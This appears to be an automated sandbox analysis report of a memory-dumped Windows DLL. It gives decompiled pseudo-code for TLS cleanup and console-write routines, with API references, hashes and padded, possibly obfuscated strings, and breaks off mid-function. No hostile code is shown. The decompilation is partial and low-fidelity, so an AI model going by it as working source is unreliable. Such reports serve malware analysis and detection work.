0x6e7bd0da
0x6e7bd0bb
0x6e7bd0ad
0x6e7bd079

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6E7BD133
type_info::operator==.LIBVCRUNTIME ref: 6E7BD155
___TypeMatch.LIBVCRUNTIME ref: 6E7BD264
IsInExceptionSpec.LIBVCRUNTIME ref: 6E7BD336
_UnwindNestedFrames.LIBCMT ref: 6E7BD3BA
CallUnexpected.LIBVCRUNTIME ref: 6E7BD3D5

Strings

csm, xrefs: 6E7BD073
csm, xrefs: 6E7BD18C
csm, xrefs: 6E7BD0E0

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 3171a89f9513c15076094042830e6c5d6fb07863b1e1332e1581f986cbdfeb12
Instruction ID: c80a98bb54afeab3b8765846afbbb6a90530db0387574ca5a5514e45875e2144
Opcode Fuzzy Hash: 3171a89f9513c15076094042830e6c5d6fb07863b1e1332e1581f986cbdfeb12
Instruction Fuzzy Hash: D9B1597180020AEFCF05CFE4CA949DEBBB9FF04315B15856AEA146B226D331DA51CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC500, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6E7AC500() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6e7fadcc; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6e7fadcc; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6e7fadcc; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6e7fadcc; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6e7fadcc; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6e7f7100; // 0x70
					return _t26;
				}
			}

0x6e7ac504
0x6e7ac50b
0x6e7ac515
0x6e7ac51d
0x00000000
0x00000000
0x6e7ac529
0x6e7ac537
0x6e7ac53a
0x6e7ac53e
0x6e7ac547
0x6e7ac54e
0x6e7ac551
0x6e7ac554
0x6e7ac554
0x6e7ac530
0x6e7ac533
0x6e7ac55b
0x00000000
0x00000000
0x6e7ac561
0x6e7ac569
0x00000000
0x00000000
0x6e7ac56f
0x6e7ac587
0x6e7ac58a
0x6e7ac58e
0x6e7ac597
0x6e7ac59e
0x6e7ac5a1
0x6e7ac5a4
0x6e7ac5a4
0x6e7ac580
0x6e7ac583
0x6e7ac5ab
0x00000000
0x00000000
0x6e7ac5b1
0x6e7ac5b9
0x00000000
0x00000000
0x6e7ac5bb
0x6e7ac5c7
0x6e7ac5ca
0x6e7ac5ce
0x6e7ac5d7
0x6e7ac5de
0x6e7ac5e1
0x6e7ac5e4
0x6e7ac5e4
0x6e7ac5c0
0x6e7ac5c3
0x6e7ac5eb
0x00000000
0x00000000
0x6e7ac5ed
0x6e7ac5f5
0x00000000
0x00000000
0x6e7ac5f7
0x6e7ac607
0x6e7ac60a
0x6e7ac60e
0x6e7ac617
0x6e7ac61e
0x6e7ac621
0x6e7ac624
0x6e7ac624
0x6e7ac600
0x6e7ac603
0x6e7ac62b
0x6e7ac639
0x6e7ac644
0x6e7ac64b
0x6e7ac64f
0x6e7ac658
0x6e7ac65f
0x6e7ac662
0x6e7ac662
0x6e7ac641
0x6e7ac641
0x6e7ac644
0x00000000
0x6e7ac62d
0x6e7ac62d
0x6e7ac62d
0x6e7ac636
0x6e7ac636

APIs

TlsGetValue.KERNEL32(?), ref: 6E7AC53A
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC547
TlsGetValue.KERNEL32(?), ref: 6E7AC58A
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC597
TlsGetValue.KERNEL32(?), ref: 6E7AC5CA
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC5D7
TlsGetValue.KERNEL32(?), ref: 6E7AC60A
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC617
TlsGetValue.KERNEL32(?), ref: 6E7AC64B
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC658

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: dc525c38e2fbbcf33bee8b77820a6a99b49477ea96fa3826a71bc295b212d9b1
Instruction ID: 1dbb455ef5542495d4c502beeeb8f57862a7bae522a725e341f7ffa4981fd09a
Opcode Fuzzy Hash: dc525c38e2fbbcf33bee8b77820a6a99b49477ea96fa3826a71bc295b212d9b1
Instruction Fuzzy Hash: 8141C272544249FFEB40AFDCAE14B9A3768AF12343F045230FF144E124E761DA10EB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B1DA0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E6E7B1DA0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6E7A3820( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6e7ecd60; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6e7ee0bc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6e7ee0f4);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6E7A3820( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = E6E7B28E0(_t96,  &_v48, _t133, _t135);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = E6E7B2620(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6E7C72E0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq", 0x3a, 0x6e7ee05c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6E7C6E20(_t96,  &M6E7ED3AA, 0x23, _t133, _t135, __eflags, 0x6e7ed454);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6e7ecd60) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
													_t100 = _t61;
													_t118 = 4;
													_push(0x6e7ee0c4);
													L45:
													E6E7C6DB0(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6E7A3820( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6e7ee0bc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6e7ee0d4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															E6E7B2620(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6e7ee0e4);
																	_push(_t156);
																	L48:
																	E6E7C73F0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6e7b22a8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

0x6e7b1da0
0x6e7b1da1
0x6e7b1da2
0x6e7b1da4
0x6e7b1da7
0x6e7b1dab
0x6e7b1daf
0x6e7b1dce
0x00000000
0x6e7b1db1
0x6e7b1db1
0x6e7b1db5
0x6e7b1dbd
0x6e7b1ddd
0x00000000
0x6e7b1dbf
0x6e7b1dbf
0x6e7b1dc4
0x6e7b1dfe
0x6e7b1e08
0x6e7b1e0e
0x6e7b1e10
0x6e7b1e69
0x6e7b1e6b
0x00000000
0x6e7b1e71
0x6e7b1e71
0x6e7b1e83
0x6e7b1e89
0x6e7b1e8b
0x6e7b1f05
0x6e7b1f0b
0x6e7b1f0b
0x6e7b1f0d
0x6e7b1e8d
0x6e7b1e8d
0x6e7b1e91
0x6e7b1e93
0x6e7b1e93
0x6e7b1f12
0x6e7b1f14
0x6e7b1f17
0x00000000
0x6e7b1f17
0x6e7b1e12
0x6e7b1e16
0x6e7b1e1a
0x6e7b1e1c
0x6e7b1e97
0x6e7b1ea8
0x6e7b1eab
0x6e7b1eac
0x6e7b1eb1
0x6e7b1eb4
0x6e7b1eb9
0x6e7b1f1f
0x6e7b1f23
0x00000000
0x6e7b1ebb
0x6e7b1ebb
0x6e7b1ec0
0x6e7b1f99
0x6e7b1f9c
0x6e7b1f9c
0x6e7b1fa3
0x6e7b1fa6
0x6e7b1fdb
0x6e7b1fdb
0x6e7b1fe2
0x00000000
0x6e7b1fa8
0x6e7b1fa8
0x6e7b1faa
0x00000000
0x6e7b1fac
0x6e7b1fac
0x6e7b1fb0
0x6e7b1fb2
0x00000000
0x6e7b1fb2
0x6e7b1faa
0x00000000
0x6e7b1ec6
0x6e7b1ec6
0x6e7b1eca
0x6e7b1ecc
0x6e7b2035
0x6e7b2037
0x6e7b2039
0x00000000
0x6e7b1ed2
0x6e7b1ed6
0x6e7b1eda
0x6e7b1edb
0x6e7b1ee0
0x6e7b1ee5
0x6e7b1eea
0x6e7b1f27
0x6e7b1f2b
0x6e7b1f2c
0x6e7b1f2d
0x6e7b1f32
0x00000000
0x6e7b1f32
0x6e7b1ecc
0x6e7b1ec0
0x6e7b1e1e
0x6e7b1e1e
0x6e7b1e20
0x6e7b2004
0x6e7b2009
0x6e7b200c
0x6e7b200e
0x6e7b201d
0x6e7b2022
0x6e7b2025
0x00000000
0x6e7b1e26
0x6e7b1e26
0x6e7b1e28
0x6e7b1e31
0x6e7b1e34
0x6e7b1eee
0x00000000
0x6e7b1e3a
0x6e7b1e3a
0x6e7b1e41
0x6e7b1e43
0x6e7b1e46
0x6e7b1e4a
0x6e7b1e51
0x6e7b1e53
0x6e7b1e57
0x6e7b1f3a
0x6e7b1f3d
0x6e7b1f40
0x6e7b2027
0x6e7b2027
0x6e7b2029
0x6e7b202e
0x6e7b203e
0x6e7b203e
0x6e7b2043
0x6e7b2046
0x00000000
0x6e7b1f46
0x6e7b1f4c
0x6e7b1f4d
0x6e7b1f52
0x6e7b1f55
0x6e7b1f5a
0x6e7b1f5e
0x6e7b1ef2
0x6e7b1ef2
0x6e7b1ef9
0x00000000
0x6e7b1f60
0x6e7b1f60
0x6e7b1f64
0x6e7b1f68
0x6e7b1f6a
0x6e7b1f6d
0x6e7b2048
0x6e7b2048
0x6e7b204c
0x6e7b204e
0x6e7b2056
0x6e7b205f
0x00000000
0x6e7b1f73
0x6e7b1f73
0x6e7b1f7b
0x6e7b1f7c
0x6e7b1f7d
0x6e7b1f82
0x6e7b1f85
0x6e7b1f8a
0x6e7b1fb8
0x6e7b1fbc
0x6e7b1fbf
0x6e7b1fc1
0x6e7b1fc5
0x6e7b2062
0x6e7b2066
0x6e7b2068
0x6e7b2070
0x6e7b2075
0x6e7b2076
0x6e7b2076
0x6e7b207e
0x6e7b2081
0x6e7b2086
0x6e7b2089
0x6e7b208f
0x6e7b20b5
0x6e7b20bb
0x6e7b20d9
0x6e7b20df
0x6e7b2152
0x6e7b2158
0x6e7b220e
0x6e7b2214
0x00000000
0x6e7b2216
0x6e7b2216
0x6e7b221c
0x00000000
0x6e7b221e
0x6e7b221e
0x6e7b2224
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7b2224
0x6e7b221c
0x6e7b215e
0x6e7b215e
0x6e7b2164
0x00000000
0x6e7b216a
0x6e7b216a
0x6e7b2170
0x00000000
0x6e7b2176
0x6e7b2176
0x6e7b217c
0x00000000
0x6e7b2182
0x00000000
0x6e7b2182
0x6e7b217c
0x6e7b2170
0x6e7b2164
0x6e7b20e1
0x6e7b20e1
0x6e7b20e7
0x6e7b21d0
0x6e7b21d6
0x6e7b2251
0x6e7b21d8
0x6e7b21d8
0x6e7b21de
0x6e7b22a1
0x6e7b21e4
0x6e7b21e4
0x6e7b21ea
0x00000000
0x6e7b21ec
0x00000000
0x6e7b21ec
0x6e7b21ea
0x6e7b21de
0x6e7b20ed
0x6e7b20ed
0x6e7b20f3
0x6e7b228d
0x6e7b20f9
0x6e7b20f9
0x6e7b20ff
0x6e7b2291
0x6e7b2105
0x6e7b2105
0x6e7b210b
0x00000000
0x6e7b2111
0x6e7b2114
0x6e7b2114
0x6e7b210b
0x6e7b20ff
0x6e7b20f3
0x6e7b20e7
0x6e7b20bd
0x6e7b20bd
0x6e7b20c3
0x6e7b20c6
0x6e7b20d3
0x6e7b20d3
0x6e7b21be
0x6e7b21c1
0x00000000
0x6e7b21c3
0x6e7b21c3
0x6e7b21c9
0x00000000
0x6e7b21cb
0x00000000
0x6e7b21cb
0x6e7b21c9
0x6e7b21c1
0x6e7b2091
0x6e7b2091
0x6e7b2097
0x6e7b2115
0x6e7b211b
0x6e7b2187
0x6e7b218d
0x6e7b2232
0x6e7b2238
0x6e7b2249
0x6e7b223a
0x6e7b223a
0x6e7b2240
0x00000000
0x6e7b2242
0x6e7b2245
0x6e7b2245
0x6e7b2240
0x6e7b2193
0x6e7b2193
0x6e7b2199
0x6e7b229d
0x6e7b219f
0x6e7b219f
0x6e7b21a5
0x6e7b224d
0x6e7b21ab
0x6e7b21ab
0x6e7b21b1
0x00000000
0x6e7b21b3
0x00000000
0x6e7b21b3
0x6e7b21b1
0x6e7b21a5
0x6e7b2199
0x6e7b211d
0x6e7b211d
0x6e7b2123
0x6e7b21f1
0x6e7b21f7
0x00000000
0x6e7b21f9
0x6e7b21f9
0x6e7b21ff
0x00000000
0x6e7b2201
0x6e7b2201
0x6e7b2207
0x00000000
0x6e7b2209
0x00000000
0x6e7b2209
0x6e7b2207
0x6e7b21ff
0x6e7b2129
0x6e7b2129
0x6e7b212f
0x6e7b2295
0x6e7b2135
0x6e7b2135
0x6e7b213b
0x6e7b2299
0x6e7b2141
0x6e7b2141
0x6e7b2147
0x6e7b2226
0x6e7b2229
0x6e7b214d
0x00000000
0x6e7b214d
0x6e7b2147
0x6e7b213b
0x6e7b212f
0x6e7b2123
0x6e7b2099
0x6e7b2099
0x6e7b209c
0x6e7b20a2
0x6e7b20a8
0x6e7b20af
0x6e7b20af
0x6e7b22a2
0x6e7b22a5
0x6e7b22a5
0x6e7b2097
0x6e7b1fcb
0x6e7b1fcb
0x6e7b1fcb
0x6e7b1fcd
0x6e7b1fd4
0x00000000
0x6e7b1fd4
0x6e7b1f8c
0x6e7b1f8c
0x6e7b1f92
0x6e7b1fe9
0x6e7b1fe9
0x6e7b1fee
0x00000000
0x6e7b1fee
0x6e7b1f8a
0x6e7b1f6d
0x6e7b1f5e
0x6e7b1e5d
0x6e7b1e5d
0x6e7b1dd5
0x6e7b1dd5
0x00000000
0x6e7b1dd5
0x6e7b1e57
0x6e7b1e34
0x6e7b1e20
0x6e7b1e1c
0x6e7b1dc6
0x6e7b1dc6
0x6e7b1de2
0x6e7b1de2
0x6e7b1de9
0x6e7b1dec
0x6e7b1dec
0x6e7b1df2
0x6e7b1df9
0x6e7b1df9
0x6e7b1dc4
0x6e7b1dbd

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6E7B1C2E,?), ref: 6E7B1DB5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6E7B1C2E,?), ref: 6E7B1DC6
GetConsoleMode.KERNEL32(00000000,?), ref: 6E7B1E08
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6E7B1E83
GetLastError.KERNEL32(?,?,?,00000000), ref: 6E7B1F05

Strings

assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed, xrefs: 6E7B200E
Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq, xrefs: 6E7B1FF5

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq$assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed
API String ID: 4172320683-607870617
Opcode ID: 2f0eae5d910d522dd4e2783604284aea4628a3989c042022129236f5c4813505
Instruction ID: 3586313accf39794a034161511cf10546ce39ed4ca2d4e1b5786c4c9182909aa
Opcode Fuzzy Hash: 2f0eae5d910d522dd4e2783604284aea4628a3989c042022129236f5c4813505
Instruction Fuzzy Hash: 0D71E2B06083459FD7108FA9DA5476BBBE9AB86348F108C2CE4D68B3A4D735D94CCB13

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC690, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6E7AC690(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
